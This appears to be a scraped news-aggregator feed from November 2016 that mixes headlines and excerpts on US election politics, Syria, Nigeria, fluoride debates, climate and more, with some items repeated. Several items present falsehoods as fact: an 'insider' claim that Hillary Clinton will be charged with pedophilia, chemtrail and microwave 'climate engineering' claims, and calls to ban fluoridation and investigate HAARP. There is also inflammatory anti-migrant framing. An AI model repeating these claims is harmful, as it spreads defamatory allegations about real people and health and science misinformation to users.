‘As I write this, some shit is probably going down at Standing Rock. For anybody awake to the tyranny at hand, the events of the last few months have weighed heavily on our hearts. But the thing people need to remember is this: We’re all Native Americans. If you were born in the USA, and you love the land you were born on (which includes the entire fucking planet, by the way!), you are a Native American. You are a Native Earthling, for shit’s sake. It’s all connected. Their fight is our fight. Skin color is irrelevant. Where you were born or where you migrated to is irrelevant. The only thing relevant is this: are you for freedom, life, cooperation, and love; or are you for statism, profit, divisiveness, and violence? As Derrick Jensen said, “We are the governors as well as the governed. This means that all of us who care about life need to force accountability onto those who do not.”’ Read more: The Only Way to Save the World is to Save Yourself

20:07

Boiler Room EP #82 – Mind-boggling Collusion "IndyWatch Feed Nthamerica"

boiler-room-trumpTune in to the Alternate Current Radio Network (ACR) for another LIVE broadcast of ‘The Boiler Room’ starting at 6:00 PM PST | 8:00 PM CST | 9:00 PM EST for this special broadcast. Join us for uncensored, uninterruptible talk radio, custom-made for barfly philosophers, misguided moralists, masochists, street corner evangelists, media-maniacs, savants, political animals and otherwise lovable rascals.

Join ACR hosts Hesher and Spore along with Andy Nowicki from Alt Right Blogspot,  Jay Dyer of Jays Analysis and Daniel Spaulding for the 82nd episode of BOILER ROOM. Dim the lights, dawn the headphones and indulge in a pre-election special broadcast of Boiler Room with the crew. This week we’re turning the crank on the sausage grinder of media and cooking up some reality radio focusing on the strange, the real and the exo-political.

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BOILER ROOM IS NOT A POLICTALLY CORRECT ZONE!
LISTEN TO THE SHOW IN THE PLAYER BELOW – ENJOY!

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Boiler Room EP #82 – Mind-boggling Collusion "IndyWatch Feed World"

By ACR RADIO

boiler-room-trump

Tune in to the Alternate Current Radio Network (ACR) for another LIVE broadcast of ‘The Boiler Room’ starting at 6:00 PM PST | 8:00 PM CST | 9:00 PM EST for this special broadcast. Join us for uncensored, uninterruptible talk radio, custom-made for barfly philosophers, misguided moralists, masochists, street corner evangelists, media-maniacs, savants, political animals and otherwise lovable rascals.

Join ACR hosts Hesher and Spore along with Andy Nowicki from Alt Right Blogspot, Jay Dyer of Jays Analysis and Daniel Spaulding for the 82nd episode of BOILER ROOM. Dim the lights, dawn the headphones and indulge in a pre-election special broadcast of Boiler Room with the crew. This week we’re turning the crank on the sausage grinder of media and cooking up some reality radio focusing on the strange, the real and the exo-political.

Please like and share the program and visit our donate page to get involved!

BOILER ROOM IS NOT A POLICTALLY CORRECT ZONE!
LISTEN TO THE SHOW IN THE PLAYER BELOW – ENJOY!

Listen to “Boiler Room #82 – Mind-boggling Collusion” on Spreaker.

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20:05

Okowa to Declare Open Isoko Day Celebration in Lagos "IndyWatch Feed Africa"

Delta State Governor, Ddr Ifeanyi Okowa

Delta State Governor, Ddr Ifeanyi Okowa


LAGOS NOVEMBER 3RD (URHOBOTODAY)-Report reaching Urhobotoday revealed that Delta State Governor, Dr Ifeanyi Okowa is expected to declare open the 2016 Isoko Day celebration in Lagos
The celebration will hold on November 5, 2016 at the National Stadium, Surulere, Lagos.
The festival will see a display of Isoko songs, dress, food, proverbs, cultural dance, among other forms of entertainment.

A source within the organizer of the event secretly told Urhobotoday that the testival whose theme is, ‘The Niger-Delta Restiveness and the Way forward’ is organised by the Isoko Development Union (IDU), Lagos, adding that the Chairman of the day is Mr. Zebulon Ikokide.
“The lead paper will be delivered by Professor Sam Aghalino of University of Ilorin while other papers will be presented by Isoko people.
The president of the IDU, Lagos branch, Comrade Frank Alordiah said that asides the cultural festival, the event will be an avenue to address the issues the 19 clans that make up Isoko are facing.
Some of these issues are key developmental challenges in Delta State as well as strengthening the existing relationship among Isoko people both home and abroad.
They will also address the neglect of Isoko lands as an oil producing nation. he said “Oil and gas is produced in Isoko, but like other oil producing regions of the south, the impact has been negative and the people must wake up to the reality that we have not seen any evidence to show that government at all levels has any plan to develop the area or empower them, particularly the youths, economically.”
The Vice President of IDU Lagos who is also the Chairman of the organizing committee of Isoko Day, Chief Steve Ageh, says that the purpose of the celebration is to showcase the beautiful culture and tradition of the Isoko people.

20:03

UK Against Fluoridation "IndyWatch Feed Europe"



Trump Will Ban Water Fluoridation & Chemtrail! Investigate Vaccination & HAARP! DRAIN THE SWAMP!

20:02

7 Times That Bill Clinton Was Accused Of Sexually Assaulting Women "IndyWatch Feed Nthamerica"

1. Paula Jones

source: upvibes.com

source: upvibes.com

Paula Corbin Jones, a former Arkansas state employee, sued President Bill Clinton for sexual harassment. Jones accused Clinton of sexually harassing her in a Little Rock hotel room in May 1991.

20:00

It’s not too Late! UK Study Still Open in January 2017 at University of Dundee "IndyWatch Feed Africa"

Did you miss the last September 2016 start in the UK and planning your study for January 2017? Think Dundee! The University of Dundee, based in Scotland, has a large portfolio of courses starting in January 2017! The University of Dundee was rated number one of Scotland for the sixth year in succession by the […]

20:00

Register to Become a Professional Facilities Manager at Alpha Mead Training Centre "IndyWatch Feed Africa"

The current economic downturn is no doubt compelling organizations to rethink their operational strategy as the pressure to develop innovative business practices that will enhance capacity, deepen market share and drive revenue without necessarily inflating cost continue to pile up. In some organizations this could be a herculean task but for innovative firms it is […]

20:00

Hillary and Bill Clinton: The «Bonnie and Clyde» of American Politics "IndyWatch Feed Asia"

Whether the information originated from hacked e-mails and computer files or Freedom of Information Act requests, the revelations about the political and business activities of Hillary and Bill Clinton and their cronies hearken back to another era, the Great Depression of the 1930s and the crime spree of another unscrupulous couple: bank robbery desperados Bonnie and Clyde...

20:00

Video: UPDATE – Bill Clinton on Pedophile Island (#LolitaExpress) "IndyWatch Feed War"

– Billionaire pedophile Jeffrey Epstein, his relationship with Bill Clinton, Alan Dershowitz, Prince Andrew and other famous names, and their connection to a high-level sex scandal is exposed by Conchita and Cristina Sarnoff. We also look at slavery and human sex trafficking in the modern world, and more.  

20:00

Winter drought forecast for much of United States "IndyWatch Feed Pacific"

While the weather catchphrase of recent winters was the shiver-inducing polar vortex, the buzzword for this winter in the U.S. will be drought. Significant droughts are already in place over nearly 45 percent of the contiguous U.S., with hotspots in California — where the drought is in its sixth year — the Southeast and Northeast. With the renewed possibility of a La Niña emerging in the next couple months, little improvement is expected in most areas; the drought in the Southeast is expected to expand and drought could also emerge in the Southern Plains, according to the most recent seasonal forecasts from the National Oceanic and Atmospheric Administration. "The winter forecast doesn't bode well for [California] and many other areas around the nation currently experiencing drought," Mike Halpert, deputy director of NOAA's Climate Prediction Center, said during a press teleconference. La Niña is the opposite end of the natural climate seesaw from El Niño; it is characterized by cooler-than-normal ocean waters in the tropical Pacific, while El Niño features warmer-than-normal. After an exceptionally strong El Niño, conditions in that area of the Pacific have cooled, moving into neutral territory and now "hovering near the La Niña threshold," Halpert said.

20:00

UK - AROUND 30% OF NORTH-EAST P1 PUPILS ALREADY SHOW FIRST SIGNS OF TOOTH DECAY "IndyWatch Feed Europe"


Nearly one-in-three North-east schoolchildren in P1 already show signs of tooth decay, according to the latest health figures.
Although 70% of five-year-olds who had a check-up had healthy teeth, about 30% had evidence of tooth decay.
An NHS Grampian spokeswoman said the situation had improved over the last 20 years, when two-in-three five-year-olds had signs of tooth decay.
She said: “Children’s oral health in Grampian has been improving with the proportion of primary 1 children who are decay-free now at 70.2% in 2016 compared to 1996 when it was 44.3%.
“This improvement has been brought about through the implementation of the Childsmile programme which includes the nursery toothbrushing programme, the targeted fluoride varnish application scheme and the tailored programme of care that involves oral hygiene instruction, dietary advice and fluoride varnish application within primary care dental services.
“Decay is largely preventable but the burden of the disease is mainly borne by the disadvantaged in our society. The risk factors for tooth decay include diets high in sugary foods and fizzy drinks, poor oral hygiene, inappropriate infant feeding practices and inadequate exposure to fluoride.”
Health Secretary Shona Robison said there was more work to do.
...

20:00

Liberalism Past: The Rise of Moral Clarity "IndyWatch Feed Economics"

A ghost looks at how 9/11, the Right, and the Internet influenced the course of modern progressivism.

20:00

Four Node.js Gotchas that Operations Teams Should Know about "IndyWatch Feed Tech"

This contributed piece is from a speaker at Node.js Interactive North America, an event offering an in-depth look at the future of Node.js from the developers who are driving the code forward, taking place in Austin, TX from Nov. 29 — Dec. 2.

19:59

Prime Minister Peter O'Neill meets Tony Abbott in Port Moresby "IndyWatch Feed Pacific"

The Prime Minister, Peter O’Neill  met with his former Australian counterpart, and current Member for Warringah in the Australian Parliament,  Tony Abbott MP in Port Moresby yesterday.

PM O’Neill said with Mr Abbott visiting Papua New Guinea they took the opportunity to have an informal, but wide-ranging discussion on a number of issues of mutual interest. This included the achievements both Governments, national development, Pacific affairs and sports.
"I have always had a very warm relationship with Tony Abbott, as I have with all Australian Prime Ministers who have served over the past five years during my time in office,” the Prime Minister said.
“Papua New Guinea always appreciates the development support that we receive from Australia, and during his time as Prime Minister, this relationship grew.
“Tony also has a strong interest in Pacific affairs and there were a number of challenging issues that we dealt with together while he was in office.
“The current global economic conditions we face are challenging, with lower commodity prices placing a great deal of pressure on our economy as it is in Australia.
"But despite these pressures I was able to advise Tony that Papua New Guinea is pulling through these challenges without being forced to cut core policy priorities such as fee education and universal healthcare.
“We also discussed sport, as we all know Tony is an avid sports fan and competitor.
“I said again that I would like his support, as an Australian Member of Parliament, in our areas such as our desire to have a team in the National Rugby League and one day host the Commonwealth Games."

19:58

Migrants Admit ‘Boredom’, ‘Racism’ of Locals Drives them to Arson, Burning Cars "IndyWatch Feed Politics.us"

boredom
Speaking out in a frank interview with a local Swedish newspaper, a young migrant has explained how boredom and racism has driven him and his friends to violently vandalising property for amusement.

19:56

USA - Ballot Measure Pits Dentists Against Activists On Fluoride "IndyWatch Feed Europe"

In a small California city, fluoride has riled up a big tap-water debate.
In the “charming tourist-destination town” of Healdsburg, located in Sonoma County, “a local ballot measure has pitted a tiny but dogged band of activists against an unusual enemy: dentists,” the San Francisco Chronicle reported.
Healdsburg residents will vote on "Measure T" this month, asking them whether fluoride should be banned from the local tap water until more research is completed proving it safe.
The issue has sparked loud opinions on both sides. “The fluoride in our water comes from China!” reads one sign, featuring a frowning woman, per the report.
The anti-fluoride front is led by the nonprofit Clean Water Sonoma Marina, which says clean water is “fluoride free.” Advocates in this group say fluoride is linked to cancer, thyroid problems, diabetes, and reduced IQ, according to the report.
On the other side: the California Dental Association, which argues that the benefits of water fluoridation are already proven, encompassing disease reduction and dental treatment cost savings.
...

19:56

Leaked Emails Expose Clinton Foundation 'Pay-To-Play' With Oligarch "To Show Support For Ukraine" "IndyWatch Feed World"

Wikileaks latest dump shows Ukraine oligarch Victor Pinchuk involved in pay-to-play exchange with The Clinton Foundation.

19:55

Dismal ratings for DiCaprio’s Global Warming Epic ‘Before the Flood’ – beaten by ‘Bubble Guppies’ David Icke latest headlines

‘The weekend ratings are out, and they aren’t good news for Leonardo DiCaprio’s Global Warming Epic ‘Before the Flood‘, which we reviewed yesterday on WUWT. Showbuzz Daily has listed the top 150 TV and Cable programs for the weekend, and in ‘the hottest year ever’, discussing the ‘most important topic ever’, Before the Flood came in at #61 for the weekend. I mean, who wouldn’t want to tune in and have a jet-setting actor-millionaire, a government handout beneficiary, a Pope, the globe-trotting Secretary of State, the lame-duck president, the ‘Horndog-in-Chief” and the leader of the U.N. come on for 96 minutes and berate you for doing things like driving your car, eating hamburgers, and just not caring enough about the planet like they do while looking down on us from their private planes?’ Read more: Dismal ratings for DiCaprio’s Global Warming Epic ‘Before the Flood’ – beaten by ‘Bubble Guppies’

19:53

USA - LETTER: Fact checkers can't be pro-fluoride "IndyWatch Feed Europe"


This letter is in response to Dr. Denise Johnson's letter to the editor in The Meadville Tribune, "Fact checker needed for fluoride talks."
I think hospital and college officials are not so much interested in facts being checked concerning public discussions about public water fluoridation as much as they want the fact checkers to be people who are aligned with their views on fluoride.
It is interesting that Dr. Johnson would like the fluoride foot soldiers from the state health department to fact check our discussions. Clean Water Meadville will accept those conditions as long as medical doctors, toxicologists and basic science PhDs from groups that oppose fluoride are given those same opportunities.
There are thoughtful ideas about minorities and children and fluoride that are in stark opposition to the Happy Smiles philosophy about public health initiatives.
Civil rights activist Andrew Young, ambassador to the United Nations and lieutenant for Dr. Martin Luther King, on Oct. 6 wrote a letter to the governor of Georgia, Nathan Deal, in an effort to repeal Georgia's water fluoridation law.
Young is quoted from this letter saying, "Dentists said fluoridation would help level the playing field for minority communities, but now we see in documents publicized by The Lillie Center that African Americans and other groups are actually disproportionately harmed by fluorides causing all forms of dental fluorosis teeth disfigurement. Plus we have more diabetics and kidney patients in...

19:53

INTERPRETATING THE NOVEMBER 1ST 2016, ABUJA “LEAVE NIGERIA IF YOU HAVE ANOTHER COUNTRY” PROCLAMATION FROM THE PERSPECTIVE OF THE LNC, 03/11/16. "IndyWatch Feed Africa"

Those who do not understand what Buhari is saying should realize that he is laying claim to the whole of Nigeria as the Estate of their Great-grandfather Uthman Dan Fodio and he is showing the exit door to those who are not happy about the definition (ie the Constitutional Arrangements imposed on all by Caliphate-inspired […]

19:52

Video: State Dept Insider Confirms Hillary “Child Sex Scandal” "IndyWatch Feed World"

Hillary Clinton is being investigated by the FBI for involvement in an elite Washington pedophile ring, according to veteran State Department official Steve Pieczenik. “Not only will she be charged with obstruction of justice, with lying to a prosecutor in the FBI, she will also be charged with pedophilia, and sex with minors,” claims Pieczenik, who has served in the State Department in four different administrations. “As a result of the excellent work by the New York Police Department in tracking pedophiliacs, they have a record of both Hillary and Bill and other people associated with the Clintons with regard to pedophila. “We are well aware in the intelligence community of their activities that haven’t stopped.” Pieczenik was Deputy Assistant Secretary of State under Henry Kissinger, Cyrus Vance and James Baker, and served the administrations of Gerald Ford, Jimmy Carter, Ronald Reagan and George H.W. Bush as deputy assistant secretary. He is a legitimate insider with connections in all departments and agencies. Pieczenik claims the Clintons have initiated a “silent coup” in their bid for power, explaining that the White House, judiciary, CIA, FBI, Loretta Lynch and James Comey have all been “co-opted” through political cronyism. FBI Mutiny He has [...]

The post Video: State Dept Insider Confirms Hillary “Child Sex Scandal” appeared first on Your News Wire.

19:51

New atlas bolsters global perspective of fisheries – book review "IndyWatch Feed Enviro"

Daniel Pauly has built his career as a fisheries biologist out of tracking down the numbers that reflect the true health of the marine ecosystem. From early on, he could see that the picture was quite a bit bleaker than what the data from the Food and Agriculture Organization’s (FAO) State of the World’s Fisheries and Aquaculture bear out. Critical pieces, such as the numbers characterizing the subsistence fishing that anchors the diets of coastal communities in the developing world, were missing. And he noticed that as more stocks have become overfished, we’ve come to accept these depleted populations as the new normal. Pauly calls that a “shifting baseline,” and it’s become a signature issue for him. Though his discontent with the status quo has at times ruffled feathers amongst his colleagues, he has maintained his course. With projects like FishBase, an early 2000s online dataset that still gets tens of millions of hits a month, and the University of British Columbia-based Sea Around Us project, he’s marshaled the help of researchers from around the world to pull together a more complete look at global fisheries. [caption id="attachment_190575" align="alignright" width="396"] Photo courtesy of Island Press[/caption] Now, Pauly and co-editor Dirk Zeller have produced the Global Atlas of Marine Fisheries, a science-steeped volume that tells the story of finding the clearer window into fisheries we have today through the research itself. Mongabay spoke with Pauly about the book and how sharing this data empowers fellow biologists, NGOs and policymakers to begin chipping away at the problems that face fisheries…

Powering the Plunder: What Morocco and Siemens are hiding at COP22, Marrakech (Western Sahara Resource Watch) "IndyWatch Feed World"

03/11/2016 - At COP22, beware of what you read about Morocco’s renewable energy efforts. An increasing part of the projects take place in the occupied territory of Western Sahara and is used for mineral plunder, ...

19:51

21WIRE Right, Clinton Wrong: Assange confirms ‘WikiLeaks did not receive emails from Russian govt’ "IndyWatch Feed Nthamerica"

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21st Century Wire says…

Is the Kremlin really responsible for ‘hacking the US election’?

Last night, in an RT Exclusive, WikiLeaks founder and editor Julian Assange (pictured above) came out and categorically denied that US Democratic Party and Clinton campaign staff emails released this year have come via the Russian government.

“Hillary Clinton has stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of our publications. That’s false – we can say that the Russian government is not the source,” Assange told award-winning international journalist John Pilger.

Earlier in the week on Tuesday, 21WIRE’s Patrick Henningsen arrived at that same conclusion stating:

“The longer this soap opera drags on, it’s becoming more and more evident that the Russian government did not ‘hack’ into the DNC, and Moscow is not feeding John Podesta’s emails to Wikileaks. For those who are deeply invested in this now official conspiracy theory, this might be a hard pill to swallow.”

hillary-clinton

Has Hillary lost the plot?

The Homeland Security Department and Office of the Director of National Intelligence (ODNI) posted a joint statement in October, claiming they were “confident” that the Russian government “directed” this year’s leaks.

Washington injected the Russian conspiracy theory into the election cycle not once, but twice – first in the summer after the devastating DNC Leaks which resulted in the resignation of DNC Chair Debbie Wasserman-Schultz, and again two weeks ago from the ODNI.

Henningsen also noted that the in every instance, America’s corporate mainstream medi...

21WIRE Right, Clinton Wrong: Assange confirms ‘WikiLeaks did not receive emails from Russian govt’ "IndyWatch Feed World"

By 21wire

1-julian-assange-hillary

21st Century Wire says…

Is the Kremlin really responsible for ‘hacking the US election’?

Last night, in an RT Exclusive, WikiLeaks founder and editor Julian Assange (pictured above) came out and categorically denied that US Democratic Party and Clinton campaign staff emails released this year have come via the Russian government.

“Hillary Clinton has stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of our publications. That’s false – we can say that the Russian government is not the source,” Assange told award-winning international journalist John Pilger.

Earlier in the week on Tuesday, 21WIRE’s Patrick Henningsen arived at that same conclusion stating:

“The longer this soap opera drags on, it’s becoming more and more evident that the Russian government did not ‘hack’ into the DNC, and Moscow is not feeding John Podesta’s emails to Wikileaks. For those who are deeply invested in this now official conspiracy theory, this might be a hard pill to swallow.”

hillary-clinton

Has Hillary lost the plot?

The Homeland Security Department and Office of the Director of National Intelligence (ODNI) posted a joint statement in October, claiming they were “confident” that the Russian government “directed” this year’s leaks.

Washington injected the Russian conspiracy theory into the election cycle not once, but twice – first in the summer after the devastating DNC Leaks which resulted in the resignation of DNC Chair Debbie Wasserman-Schultz, and again two weeks ago from the ODNI.

Henningsen also noted that the in every instance, America’s corporate mainstream media refused to cha...

19:51

‘Eco Sexuals’ Boast of Masturbating Under Waterfalls and F**king Trees To Save The Planet "IndyWatch Feed Politics.us"

ecosexuality
Liberals wanting a new way to define their sexuality and signal their green virtues can now combine the two: 2016, already seen by many as the year the world went mad, is likely also to be remembered as the year the world was gifted 'ecosexuality'.

19:50

China’s Growing Amphibious Capabilities (Part 1) "IndyWatch Feed Nthamerica"

…from SouthFront This is the first part of the military analysis of China’s amphibious capabilities and their influence on the balance of power in the Asia-Pacific region. The second part of the analysis will be released next week. The Chinese government has achieved a great deal in terms of modernizing and increasing the capabilities of its armed […]

19:49

ISIS, Al Nusra and the ‘Moderate Rebels’ – Fighting Together in Aleppo "IndyWatch Feed Nthamerica"

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Alexander Mercouris
The Duran

Western claims that the “moderate rebels” fighting the Syrian government are totally separate and antagonistic to ISIS are disproved by the fighting in Aleppo.

Nothing illustrates the mismatch between Western reporting of the war in Syria and the reality on the ground better than an incident which took place on 1st November 2016 south of Aleppo.

The Syrian government’s main supply lines to Aleppo are the roads from the south.  This has been especially so since the Jihadi capture of most of the province of Idlib together with its regional capital in the first half of 2015. 

As the noose tightens on the Jihadis in eastern Aleppo, with their latest counter-offensive repulsed and reports that the eastern districts of the city under Jihadi control are running out of essential fuel and other supplies as the cold weather closes in, the Jihadis attempted on 1st November 2016 to try to turn the tables on the Syrian army by cutting its road links to the south of the city.

The Jihadi attempt to do this failed and was quickly repulsed, but in the process it exposed the truth of how the war in Syria is actually being fought.

It has become an article of faith in the West that the Jihadi fighters in eastern Aleppo are “moderate rebels” and that Jabhat Al-Nusra (ie. Al-Qaeda) accounts for any small fraction of them.

It is also an article of faith in the West that the Jihadi fighters in eastern Aleppo – including those belonging to Jabhat Al-Nusra – are deadly enemies of ISIS, and have nothing in common with ISIS.

It is also continuously claimed in the West that the Syrian army and Russia are only engaging in token fighting against ISIS, and that they are almost exclusively concerned with fighting the “moderate rebels” in Aleppo and elsewhere, who are trying to overthrow the Syrian government.

Some Western commentators have gone even further, and have come close to saying that Russia, the Syrian government and ISIS are in de facto alliance with each other, as all three are...

ISIS, Al Nusra and the ‘Moderate Rebels’ – Fighting Together in Aleppo "IndyWatch Feed World"

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Western claims that the “moderate rebels” fighting the Syrian government are totally separate and antagonistic to ISIS are disproved by the fighting in Aleppo.

Nothing illustrates the mismatch between Western reporting of the war in Syria and the reality on the ground better than an incident which took place on 1st November 2016 south of Aleppo.

The Syrian government’s main supply lines to Aleppo are the roads from the south. This has been especially so since the Jihadi capture of most of the province of Idlib together with its regional capital in the first half of 2015.

As the noose tightens on the Jihadis in eastern Aleppo, with their latest counter-offensive repulsed and reports that the eastern districts of the city under Jihadi control are running out of essential fuel and other supplies as the cold weather closes in, the Jihadis attempted on 1st November 2016 to try to turn the tables on the Syrian army by cutting its road links to the south of the city.

The Jihadi attempt to do this failed and was quickly repulsed, but in the process it exposed the truth of how the war in Syria is actually being fought.

It has become an article of faith in the West that the Jihadi fighters in eastern Aleppo are “moderate rebels” and that Jabhat Al-Nusra (ie. Al-Qaeda) accounts for any small fraction of them.

It is also an article of faith in the West that the Jihadi fighters in eastern Aleppo – including those belonging to Jabhat Al-Nusra – are deadly enemies of ISIS, and have nothing in common with ISIS.

It is also continuously claimed in the West that the Syrian army and Russia are only engaging in token fighting against ISIS, and that they are almost exclusively concerned with fighting the “moderate rebels” in Aleppo and elsewhere, who are trying to overthrow the Syrian government.

Some Western commentators have gone even further, and have come close to saying that Russia, the Syrian government and ISIS are in de facto alliance with each other, as all three are collectively waging war on the “moderate r...

19:47

Humans and Supernova-Born Neutron Stars Have Similar Structures, Discover Scientists "IndyWatch Feed Tech"

As atoms in our bodies were made in stars millions of years ago, it’s been common to propose that we are, in fact, made of stars. Now comes news of another mind-blowing cosmic relationship as physicists conclude that human cells and neutron stars share structural similarities, which look like multi-story parking garages.

Neutron stars are quite strange space objects. They come to life as a result of supernova explosions of massive stars and are incredibly dense. While they are the smallest stars, they can pack as much mass as two Suns into a star with the radius of just 10 kilometers.

What the scientists found is that material inside human cell cytoplasms (fluid around a cell nucleus) looks like helices connecting stacks of evenly spaced sheets, dubbed “Terasaki ramps”.

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19:46

Climate Engineering And Microwaved Skies David Icke latest headlines

‘We are all swimming in a sea of microwave transmissions that are decimating the climate system and are extremely harmful to all life forms. What you don’t know about microwave transmissions can hurt you. Many are now finally beginning to look up and take notice of the ongoing atmospheric aerosol spraying that is occurring in skies all over the globe. Incredibly anomalous cloud shapes and forms which can only be considered engineered have been photographed from satellite. Extremely powerful microwave transmissions are a major aspect of the climate engineering assault that often goes unnoticed by many, even within the ranks of the anti-climate engineering movement. Radio frequency transmissions are utilized by the climate engineers to manipulate the aircraft sprayed heavy metal and chemical particulates. Like sound waves, microwave transmissions ripple through the atmosphere, leaving their telltale signature on the geoengineering aerosol laced cloud cover.’ Read more: Climate Engineering And Microwaved Skies

19:45

Italy Hit With Another Earthquake (Video) "IndyWatch Feed Economics"

Italy Hit With Another Earthquake

Italy Hit With Another Earthquake This stream is showing the past 48 hours of USGS reported earthquakes + the last 50 EMSC reported earthquakes internationally. No voice in this video unless a large earthquake strikes. Marker height off the globe = depth into the Earth. The feed may show double earthquakes in some locations due…

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19:45

Is the Military’s Paranoia Under the Modi Government Justified? "IndyWatch Feed Asia"

The armed forces are being systematically demoralised by the central government, at a time when they should be celebrated and encouraged.

Indian army soldiers. Credit: Reuters/Mukesh Gupta/Files

Indian army soldiers. Credit: Reuters/Mukesh Gupta/Files

Warning Chandragupta, Chanakya had said, “The day the soldier has to demand his dues will be a sad day for Magadha for then, on that day, you will have lost all moral sanction to be king.” Sadly in India, under the present government, this has become the norm. The One Rank One Pension agitation, which lasted months, led to a half-baked release, with the appointment of the Justice Reddy commission to suggest anomalies, if any. The commission submitted its report on October 26, but the government will take ages before it announces any changes. This delay and the inaction of the government has compelled the veteran community to relaunch its agitation. It also led Subedar Ram Kishan Grewal, in sheer frustration, to commit suicide on Wednesday. Senior pensioners (like Grewal) are amongst the most affected and unlikely to gain any benefits from their hard-fought agitation.

Similarly, post the announcement of the seventh pay commission, the military had to officially refuse to implement it, having...

19:45

How Hitler Became Hitler and Why It"s Important Today "IndyWatch Feed Asia"

In October 2016, the American magazine The National Interest took a look at the historical experience of the 20th century, publishing an article by David Axe entitled The Shocking Way Hitler Became Hitler.

19:44

Anthrax: The Forgotten False Flag and the Illegal Invasion of Iraq "IndyWatch Feed War"

Anthrax: The Forgotten False Flag and the Illegal Invasion of IraqBy James Corbett, Graeme MacQueen, and Robbie Martin On the 15th anniversary of the 2001 anthrax scare, many have now forgotten the false flag events that set the next stage for the war on terror. But as Graeme MacQueen and Robbie Martin explain, these attacks […]

19:41

Under Hillary Clinton Presidency, U.S. Muslim Population Would Exceed France’s by 2024 "IndyWatch Feed War"

Breitbart, by Julia Hahn, November 2, 2016: If Hillary Clinton’s expansionist immigration policies were put into effect, the U.S. Muslim population could exceed France’s current Muslim population by the end of a President Clinton’s second term, according to data from … Continue reading

19:38

ZCASH: A More Secure and Private Cryptocurrency Than BITCOIN? "IndyWatch Feed Nthamerica"

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When MT Gox, bitcoin’s biggest exchange at the time, suddenly announced during February 2014 that they had “lost” almost $1 billion worth of bitcoins, some took to the blockchain to see what had happened. Their analysis led, in just a few days, to the second biggest news of that year: MT Gox still held 200,000 bitcoins, then worth $200 million, they appeared to be hiding.

Initially, there was some public debate with Gregory Maxwell, a bitcoin developer, disputing the findings, but all was confirmed when MT Gox publicly stated they had forgotten about $200 million.

1-my_precious_bitcoinThe event revealed what is now widely accepted: Bitcoin provides very little privacy. All transactions are public and can be seen by everyone as bitcoin’s public blockchain operates in effect similar to a bank statement which does not show names or addresses, but does show bank account numbers and all transactions from and to that specific bank account.

It can, therefore, be very easy, if ownership of a bitcoin address is known, to see what exactly happened, at what time and between who. To provide an added level of privacy, mixers and tumblers were invented which shuffle transactions between different bitcoin addresses to obfuscate origin and amount. However, Kathryn Haun, Assistant Attorney for the U.S. Department of Justice in San Francisco and lecturer on digital currencies at Stanford Law School, recently stated that tumblers and mixers do not work as “some of the time,” it is possible to “unscramble” transactions.

Monero, a new digital currency that incorporates mixing at the protocol level, tried to improve public blockchain privacy, but lik...

19:38

Italy being flooded with African illegal migrants… German officers are now refusing to report sex assault by immigrants on underage German girls David Icke latest headlines

‘The number of Muslims in Italy has rocketed from about 2,000 in 1970 to nearly two million at the end of 2015. Academics say the number is expected to continue to rise as migrants from Africa and the Middle East continue to arrive. Sociologist Massimo Introvigne, director of the Centre for New Religions Studies (Cesnur), branded the number “shocking”.’ Read more: Italy being flooded with African illegal migrants… German officers are now refusing to report sex assault by immigrants on underage German girls David Icke – The Migrant Crisis – All Planned A Long Time Ago

19:37

20 Before & After Photos That Reveal The Effects Of Giving Up Alcohol "IndyWatch Feed Nthamerica"

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Drinking alcohol might seem like the normal or ‘hip’ thing to do, but consuming it in excess over time can take a toll on one’s health. Effects of excessive alcohol consumption include increased risk of heart problems and stroke, damage to the liver and inflammation in the body, and an increased risk for cancers. In addition, alcohol is more likely to adversely affect a person’s attitude and behavior compared to substances such as caffeine or even marijuana.

While alcohol in moderation can be healthy – such as a glass of wine once or twice a week, the issue is that many people have little to no self-control when it comes to the amount of liquor they drink. Additionally, overconsumption of alcohol can negatively affect a person’s appearance.

Just take a look at the before and after photos in the following pages! It’s incredible how different people look after they’ve given up alcohol and adopted healthier lifestyles. In fact, some of these individuals don’t even look like their former selves! If you or someone you know struggles with alcohol abuse, perhaps pass this article on to inspire them to kick the habit so they can live a happier, longer life.

Click Here To See The 20 Amazing Photos Of Transformation

19:37

Iraq Govt. Threatens War w/Turkey Over Erdogan’s Intentions After Mosul "IndyWatch Feed War"

Iraq Threatens War Over Turkey’s Troop Presence, Buildup

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Turkish special forces, tanks and warplanes on Wednesday entered Jarablus, one of Islamic State’s last strongholds on the Turkish-Syrian border, in a US-backed offensive. (AP Photo)
Turkish special forces, tanks and warplanes on Wednesday entered Jarablus, one of Islamic State’s last strongholds on the Turkish-Syrian border, in a US-backed offensive. (AP Photo)

Iraq warned Wednesday that Turkey risks war over its threats to intervene militarily in northern Iraq even as Iraqi forces worked to secure a first foothold within Mosul against the Islamic State.

“We do not want war with Turkey, and we do not want a confrontation with Turkey,” Iraqi Prime Minister Haider al-Abadi said on Iraqi state TV. “But if a confrontation happens, we are ready for it. We will consider [Turkey] an enemy, and we will deal with it as an enemy.”

Turkey has repeatedly rejected Abadi’s demands to withdraw a contingent of about 500 troops near the town of Bashiqa, about 10 miles north of Mosul. The Turkish troops have been training local tribes that Turkey wants to participate in the occupation of Mosul.

Abadi also expressed concerns over Turkey’s buildup of tanks, artillery and troops on the border and threats to intervene if Shia Popular Mobilization Units, which are part of the Iraqi Security Forces, move to take Tal Afar to the west of Mosul.

Turkey scoffed at Abadi’s warning. Turkish Foreign Minister Mevlut Cavusoglu said, “If you have the strength, why did you surrender Mosul to terror organizations? If you are so strong, why has the PKK occupied your lands for years?” Cavusoglu referred to the Kurdistan Workers Party, or PKK, which has bases in northern Iraq and has been labeled a terrorist organization by Turkey and the U.S.

“You cannot even fight against a terror organization. You are weak,” Cavusoglu said of Abadi, according to Turkey’s Anadolu news ag...

19:36

Venezuela: Jóvenes acampan frente a palacio presidencial en defensa de la Revolución "IndyWatch Feed Europe"

La Juventud del Partido Socialista Unido de Venezuela (Jpsuv) se instaló a las puertas del palacio de Miraflores (casa presidencial)

19:35

123Movies Circumvents ISP Blocking With New .GS Domain "IndyWatch Feed Tech"

123moviesdarkPirate movie streaming sites and services continue to gain popularity, with 123movies at the forefront of this movement.

Hollywood is not happy with this trend and reported the site to the U.S. Government’s Trade Representative last month, labeling it one of the most “notorious” pirate markets.

“123movies is a very popular streaming website that embeds popular movie and series content from third-party cyberlockers,” the MPAA wrote.

In addition, the movie industry group applied to have 123movies blocked by UK ISPs. In response, the High Court ordered the website to be blocked, alongside a dozen other streaming portals.

